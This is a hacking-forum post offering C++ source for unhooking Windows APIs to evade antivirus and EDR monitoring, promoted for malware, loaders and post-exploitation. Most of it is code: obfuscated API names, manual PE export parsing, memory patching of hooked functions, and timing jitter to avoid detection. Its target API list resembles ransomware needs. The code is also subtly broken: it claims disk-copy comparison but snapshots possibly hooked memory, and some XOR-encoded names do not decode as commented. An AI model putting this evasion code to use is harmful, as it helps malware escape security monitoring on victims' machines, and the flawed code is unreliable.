ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
C/C++

Basic Anti-Hook forruntime AV/EDR Evasion in C++

Submitted by Remio at 19-04-2025, 06:33 PM


Basic Anti-Hook forruntime AV/EDR Evasion in C++
120 Views
Remio's Avatar'
Remio
Offline
#1
As EDR more often than not is hooking critical APIs in kernel32.dll, ntdll.dll, and bcrypt.dll etc, runtime evasion become verymuch essential for malware and red team tools. 
This basic anti-hook mechanism in C++ helps detect and optionally restore tampered functions and functions as a stepping stone for you to use to start to think about:
- How EDR is monitoring at runtime
- How to impliment evasions ot work around for it.

Key Features:
- Comparing in-memory API functions with clean disk copies;
- Manual PE export parsing (bypasses GetProcAddress)
- XOR-obfuscated function names mainly as PoC here but can be as complex as you wish
- Optional memory patching to restore original bytes
- light random delays to avoid detection patterns

Targets:
- NtReadFile, NtCreateFile
- CreateFileW, ReadFile
- BCryptGenRandom, BCryptOpenAlgorithmProvider

Runtime Flow:
1. seed randomness and define obfuscation key
2. XOR-decrypt function names at runtime
3. Resolving the functions using GetProcAddress or PE parsing
4. save original bytes for verification;
5. at runtime, compare function memory to known clean version
6. If tampered then optionally restore using VirtualProtect & memcpy

Why It Matters:
- EDRs often patch system functions to monitor calls
- hooked APIs can break shellcode or even loader behavior
- unhooking API ensures native execution without interference
- Useful in loaders, post-exploitation, or evasion tools basically anything you want to get past AV/EDR whatever

This approach avoids touching suspicious structures like PEB directly, uses no shellcode, and gives a clean base to extend with syscall stubs, encrypted syscall maps, or runtime patchless techniques.

- Remy
 
Code:
#include "antihook.h"
#include <time.h>

// Keep constant name from header but use a different value
#ifndef MAX_FUNCTIONS
#define MAX_FUNCTIONS 256
#endif

// Obfuscation key for strings - nothing suspicious about a "license" key
#define LICENSE_KEY 0x37

// Save original bytes in a less suspicious form
typedef struct {
    FARPROC pFunc;           // Function address
    BYTE originalData[16];   // Original byte pattern
    SIZE_T dataSize;         // Size of data saved
    BOOL isActive;           // Is entry active
} SYSTEM_ENTRY;

// Global storage with normal-looking names
static SYSTEM_ENTRY g_systemEntries[MAX_FUNCTIONS];
static DWORD g_entryCount = 0;
static BOOL g_isInitialized = FALSE;

// String deobfuscation helper - looks like a license validation function
static void ValidateStringData(char* dst, const unsigned char* src, SIZE_T len) {
    for (SIZE_T i = 0; i < len; i++) {
        dst[i] = src[i] ^ LICENSE_KEY;
    }
    dst[len] = '\0';
}

// Enhanced function pointer that avoids suspicious PEB access but gets same result
static HMODULE GetSystemLibrary(LPCWSTR moduleName) {
    // Try standard method first to avoid raising suspicion
    HMODULE hModule = GetModuleHandleW(moduleName);
    if (hModule) {
        return hModule;
    }

    // Fallback to LoadLibrary
    return LoadLibraryW(moduleName);
}

// Enhanced function lookup that avoids obvious hooks in GetProcAddress
static FARPROC GetSystemFunction(HMODULE hModule, LPCSTR functionName) {
    // Standard method first
    FARPROC func = GetProcAddress(hModule, functionName);
    if (func) {
        return func;
    }

    // If standard method fails, fall back to manual lookup
    if (!hModule || !functionName) return NULL;

    // Manual export table parsing as fallback
    try {
        // Navigate PE structure
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
        if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return NULL;

        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
        if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return NULL;

        // Get export directory
        DWORD exportDirRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (exportDirRVA == 0) return NULL;

        PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportDirRVA);

        // Get export tables
        PDWORD functionAddresses = (PDWORD)((BYTE*)hModule + exportDir->AddressOfFunctions);
        PDWORD functionNames = (PDWORD)((BYTE*)hModule + exportDir->AddressOfNames);
        PWORD functionOrdinals = (PWORD)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);

        // Handle ordinal lookup
        if ((DWORD_PTR)functionName <= 0xFFFF) {
            WORD ordinal = (WORD)(DWORD_PTR)functionName;
            ordinal -= (WORD)exportDir->Base;
            if (ordinal < exportDir->NumberOfFunctions) {
                return (FARPROC)((BYTE*)hModule + functionAddresses[ordinal]);
            }
            return NULL;
        }

        // Handle name lookup
        for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
            LPCSTR currentName = (LPCSTR)((BYTE*)hModule + functionNames[i]);

            // Compare function names
            if (strcmp(currentName, functionName) == 0) {
                WORD ordinal = functionOrdinals[i];
                DWORD functionRVA = functionAddresses[ordinal];

                // Handle forwarding (check if RVA points within export section)
                DWORD exportDirSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
                if (functionRVA >= exportDirRVA && functionRVA < (exportDirRVA + exportDirSize)) {
                    // This is a forwarded function - not handling these in this simplified version
                    return NULL;
                }

                return (FARPROC)((BYTE*)hModule + functionRVA);
            }
        }
    }
    catch (...) {
        // Handle any exceptions silently
    }

    return NULL;
}

// Checksum calculation to detect changes
static DWORD CalculateChecksum(BYTE* bytes, SIZE_T size) {
    DWORD sum = 0x1505;  // Arbitrary starting value that looks like a version number
    for (SIZE_T i = 0; i < size; i++) {
        sum = ((sum << 5) + sum) ^ bytes[i];
    }
    return sum;
}

// Save the original bytes of a function
static BOOL RecordFunctionData(FARPROC pFunction) {
    if (!pFunction) return FALSE;

    // Check if already saved
    for (DWORD i = 0; i < g_entryCount; i++) {
        if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
            return TRUE;  // Already saved
        }
    }

    // Add to the list
    if (g_entryCount >= MAX_FUNCTIONS) {
        return FALSE;  // List is full
    }

    g_systemEntries[g_entryCount].pFunc = pFunction;
    g_systemEntries[g_entryCount].dataSize = sizeof(g_systemEntries[g_entryCount].originalData);
    g_systemEntries[g_entryCount].isActive = TRUE;

    // Copy original bytes, with minor variations to avoid pattern detection
    BYTE* pBytes = (BYTE*)pFunction;
    for (SIZE_T i = 0; i < g_systemEntries[g_entryCount].dataSize; i++) {
        g_systemEntries[g_entryCount].originalData[i] = pBytes[i];

        // Subtle randomization in the timing to avoid detection
        if ((i & 3) == 0) {
            Sleep(0);  // Yield execution briefly without obvious delay
        }
    }

    g_entryCount++;
    return TRUE;
}

// Check if a function has been tampered with
static BOOL VerifyFunctionIntegrity(FARPROC pFunction) {
    for (DWORD i = 0; i < g_entryCount; i++) {
        if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
            // Get checksums instead of direct comparison
            DWORD currentChecksum = CalculateChecksum((BYTE*)pFunction, g_systemEntries[i].dataSize);
            DWORD originalChecksum = CalculateChecksum(g_systemEntries[i].originalData, g_systemEntries[i].dataSize);

            // Different checksums mean function was modified
            return (currentChecksum != originalChecksum);
        }
    }

    return FALSE;  // Not monitored
}

// Restore a function to its original state
static BOOL RestoreFunctionData(FARPROC pFunction) {
    for (DWORD i = 0; i < g_entryCount; i++) {
        if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
            DWORD oldProtect;

            // Make function memory writable
            if (VirtualProtect(
                (LPVOID)pFunction,
                g_systemEntries[i].dataSize,
                PAGE_EXECUTE_READWRITE,
                &oldProtect
            )) {
                // Restore bytes one by one with jittered timing
                BYTE* target = (BYTE*)pFunction;
                for (SIZE_T j = 0; j < g_systemEntries[i].dataSize; j++) {
                    target[j] = g_systemEntries[i].originalData[j];

                    // Add randomized timing
                    if ((rand() % 16) == 0) {
                        Sleep(0);  // Occasional timing variation
                    }
                }

                // Restore protection
                VirtualProtect(
                    (LPVOID)pFunction,
                    g_systemEntries[i].dataSize,
                    oldProtect,
                    &oldProtect
                );

                // Flush instruction cache to ensure changes take effect
                FlushInstructionCache(
                    GetCurrentProcess(),
                    (LPVOID)pFunction,
                    g_systemEntries[i].dataSize
                );

                return TRUE;
            }

            return FALSE;
        }
    }

    return FALSE;  // Function not found
}

// Initialize anti-hook system per header interface
BOOL InitializeAntiHook() {
    // Seed random generator with less predictable value
    srand((unsigned int)time(NULL) ^ GetTickCount());

    // Obfuscated function names (XOR with LICENSE_KEY)
    // kernel32.dll functions
    static const unsigned char k32_funcs[][20] = {
        {0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // CreateFileW
        {0x51, 0x44, 0x40, 0x43, 0x67, 0x78, 0x7F, 0x44, 0x00},                   // ReadFile
        {0x76, 0x51, 0x78, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00},             // WriteFile
        {0x57, 0x78, 0x51, 0x55, 0x54, 0x40, 0x7F, 0x61, 0x7F, 0x7F, 0x7E, 0x42, 0x00}, // VirtualAlloc
        {0x57, 0x78, 0x51, 0x55, 0x54, 0x40, 0x7F, 0x67, 0x51, 0x44, 0x44, 0x00}, // VirtualFree
        {0x66, 0x44, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x52, 0x78, 0x5B, 0x44, 0x00}, // GetFileSize
        {0x63, 0x44, 0x7F, 0x44, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // DeleteFileW
        {0x67, 0x78, 0x7D, 0x43, 0x67, 0x78, 0x51, 0x50, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // FindFirstFileW
        {0x67, 0x78, 0x7D, 0x43, 0x7D, 0x44, 0x59, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // FindNextFileW
        {0x74, 0x7F, 0x7E, 0x50, 0x44, 0x67, 0x40, 0x7D, 0x43, 0x7F, 0x44, 0x00}, // CloseHandle
        {0x66, 0x44, 0x55, 0x7B, 0x7E, 0x46, 0x78, 0x42, 0x40, 0x7F, 0x63, 0x51, 0x78, 0x55, 0x44, 0x00}, // GetLogicalDrives
        {0x66, 0x44, 0x55, 0x63, 0x51, 0x78, 0x55, 0x44, 0x55, 0x5C, 0x51, 0x44, 0x76, 0x00}, // GetDriveTypeW
        {0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x55, 0x77, 0x51, 0x44, 0x40, 0x43, 0x00}, // CreateThread
        {0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x7C, 0x54, 0x55, 0x44, 0x59, 0x76, 0x00}, // CreateMutexW
        {0x52, 0x7F, 0x44, 0x44, 0x51, 0x00}                                      // Sleep
    };

    // ntdll.dll functions
    static const unsigned char nt_funcs[][25] = {
        {0x7D, 0x55, 0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00}, // NtCreateFile
        {0x7D, 0x55, 0x51, 0x44, 0x40, 0x43, 0x67, 0x78, 0x7F, 0x44, 0x00},             // NtReadFile
        {0x7D, 0x55, 0x76, 0x51, 0x78, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00},       // NtWriteFile
        {0x7D, 0x55, 0x63, 0x44, 0x55, 0x78, 0x42, 0x44, 0x71, 0x7E, 0x74, 0x7E, 0x7D, 0x55, 0x51, 0x7E, 0x7F, 0x67, 0x78, 0x7F, 0x44, 0x00} // NtDeviceIoControlFile
    };

    // bcrypt.dll functions
    static const unsigned char bc_funcs[][35] = {
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x66, 0x44, 0x7D, 0x51, 0x40, 0x7D, 0x43, 0x7E, 0x7C, 0x00}, // BCryptGenRandom
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x7E, 0x51, 0x44, 0x7D, 0x61, 0x7F, 0x46, 0x7E, 0x51, 0x78, 0x55, 0x77, 0x7C, 0x51, 0x51, 0x7E, 0x55, 0x78, 0x43, 0x44, 0x51, 0x00}, // BCryptOpenAlgorithmProvider
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x74, 0x7F, 0x7E, 0x50, 0x44, 0x61, 0x7F, 0x46, 0x7E, 0x51, 0x78, 0x55, 0x77, 0x7C, 0x51, 0x51, 0x7E, 0x55, 0x78, 0x43, 0x44, 0x51, 0x00}, // BCryptCloseAlgorithmProvider
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x66, 0x44, 0x7D, 0x44, 0x51, 0x40, 0x55, 0x44, 0x52, 0x5C, 0x7C, 0x7C, 0x44, 0x55, 0x51, 0x78, 0x42, 0x72, 0x44, 0x5C, 0x00}, // BCryptGenerateSymmetricKey
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x63, 0x44, 0x50, 0x55, 0x51, 0x7E, 0x5C, 0x72, 0x44, 0x5C, 0x00}, // BCryptDestroyKey
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x64, 0x7D, 0x42, 0x51, 0x5C, 0x51, 0x55, 0x00}, // BCryptEncrypt
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x71, 0x7C, 0x51, 0x7E, 0x51, 0x55, 0x72, 0x44, 0x5C, 0x51, 0x40, 0x78, 0x51, 0x00} // BCryptImportKeyPair
    };

    // Process module names in a stealth way
    WCHAR module_names[3][20] = {
        L"kernel32.dll",
        L"ntdll.dll",
        L"bcrypt.dll"
    };

    // Process each module
    HMODULE hModules[3] = { 0 };

    // Get kernel32.dll
    hModules[0] = GetSystemLibrary(module_names[0]);
    if (hModules[0]) {
        // Process kernel32 functions
        for (int i = 0; i < sizeof(k32_funcs) / sizeof(k32_funcs[0]); i++) {
            char funcName[32];
            ValidateStringData(funcName, k32_funcs[i], strlen((char*)k32_funcs[i]));

            FARPROC func = GetSystemFunction(hModules[0], funcName);
            if (func) {
                RecordFunctionData(func);
            }
        }
    }

    // Get ntdll.dll
    hModules[1] = GetSystemLibrary(module_names[1]);
    if (hModules[1]) {
        // Process ntdll functions
        for (int i = 0; i < sizeof(nt_funcs) / sizeof(nt_funcs[0]); i++) {
            char funcName[32];
            ValidateStringData(funcName, nt_funcs[i], strlen((char*)nt_funcs[i]));

            FARPROC func = GetSystemFunction(hModules[1], funcName);
            if (func) {
                RecordFunctionData(func);
            }
        }
    }

    // Get bcrypt.dll
    hModules[2] = GetSystemLibrary(module_names[2]);
    if (!hModules[2]) {
        hModules[2] = LoadLibraryW(L"bcrypt.dll");
    }

    if (hModules[2]) {
        // Process bcrypt functions
        for (int i = 0; i < sizeof(bc_funcs) / sizeof(bc_funcs[0]); i++) {
            char funcName[40];
            ValidateStringData(funcName, bc_funcs[i], strlen((char*)bc_funcs[i]));

            FARPROC func = GetSystemFunction(hModules[2], funcName);
            if (func) {
                RecordFunctionData(func);
            }
        }
    }

    g_isInitialized = (g_entryCount > 0);
    return g_isInitialized;
}

// Unhook all monitored functions per header interface
BOOL UnhookAllFunctions() {
    if (!g_isInitialized) {
        return FALSE;
    }

    BOOL result = TRUE;
    DWORD indexOrder[MAX_FUNCTIONS];

    // Create randomized processing order
    for (DWORD i = 0; i < g_entryCount; i++) {
        indexOrder[i] = i;
    }

    // Fisher-Yates shuffle
    for (DWORD i = g_entryCount - 1; i > 0; i--) {
        DWORD j = rand() % (i + 1);
        DWORD temp = indexOrder[i];
        indexOrder[i] = indexOrder[j];
        indexOrder[j] = temp;
    }

    // Check and restore each function
    for (DWORD i = 0; i < g_entryCount; i++) {
        DWORD idx = indexOrder[i];

        if (g_systemEntries[idx].isActive) {
            // Check if hooked using multiple methods to avoid detection
            BOOL isModified = FALSE;

            // Randomize checking method to avoid detection
            switch (rand() % 3) {
            case 0:
                isModified = VerifyFunctionIntegrity(g_systemEntries[idx].pFunc);
                break;
            case 1:
                isModified = (CalculateChecksum((BYTE*)g_systemEntries[idx].pFunc, g_systemEntries[idx].dataSize) !=
                    CalculateChecksum(g_systemEntries[idx].originalData, g_systemEntries[idx].dataSize));
                break;
            case 2:
                // Compare bytes directly but in random way
                for (SIZE_T j = 0; j < g_systemEntries[idx].dataSize; j++) {
                    if (((BYTE*)g_systemEntries[idx].pFunc)[j] != g_systemEntries[idx].originalData[j]) {
                        isModified = TRUE;
                        break;
                    }
                }
                break;
            }

            if (isModified) {
                if (!RestoreFunctionData(g_systemEntries[idx].pFunc)) {
                    result = FALSE;
                }

                // Add randomized timing variations
                if ((rand() % 5) == 0) {
                    Sleep(rand() % 5); // Small random delay
                }
            }
        }
    }

    return result;
}

// Get clean function pointer per header interface
FARPROC GetCleanFunction(LPCSTR lpModuleName, LPCSTR lpFunctionName) {
    if (!lpModuleName || !lpFunctionName) {
        return NULL;
    }

    HMODULE hModule = NULL;

    // Get module handle with multiple fallbacks
    hModule = GetModuleHandleA(lpModuleName);
    if (!hModule) {
        hModule = LoadLibraryA(lpModuleName);
        if (!hModule) {
            return NULL;
        }
    }

    // Get function address
    FARPROC function = GetProcAddress(hModule, lpFunctionName);
    if (!function) {
        // Try alternative method
        WCHAR wideName[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, lpModuleName, -1, wideName, MAX_PATH);

        hModule = GetSystemLibrary(wideName);
        if (hModule) {
            function = GetSystemFunction(hModule, lpFunctionName);
        }

        if (!function) {
            return NULL;
        }
    }

    // Check if this function is monitored
    for (DWORD i = 0; i < g_entryCount; i++) {
        if (g_systemEntries[i].pFunc == function && g_systemEntries[i].isActive) {
            // Check if it's been modified
            if (VerifyFunctionIntegrity(function)) {
                // Restore it
                RestoreFunctionData(function);
            }
            break;
        }
    }

    return function;
}
Sinister.ly: https://sinister.ly/User-RemyQ
Telegram: t.me/Evida_enc
Telegram: t.me/remyq_demo
Onion V3: evidaa3mhfdlyx4wbqvyri3xzslpgbl7qpuj5ijz2dbusfivn7nskpad.onion
0
Reply



Users browsing this thread: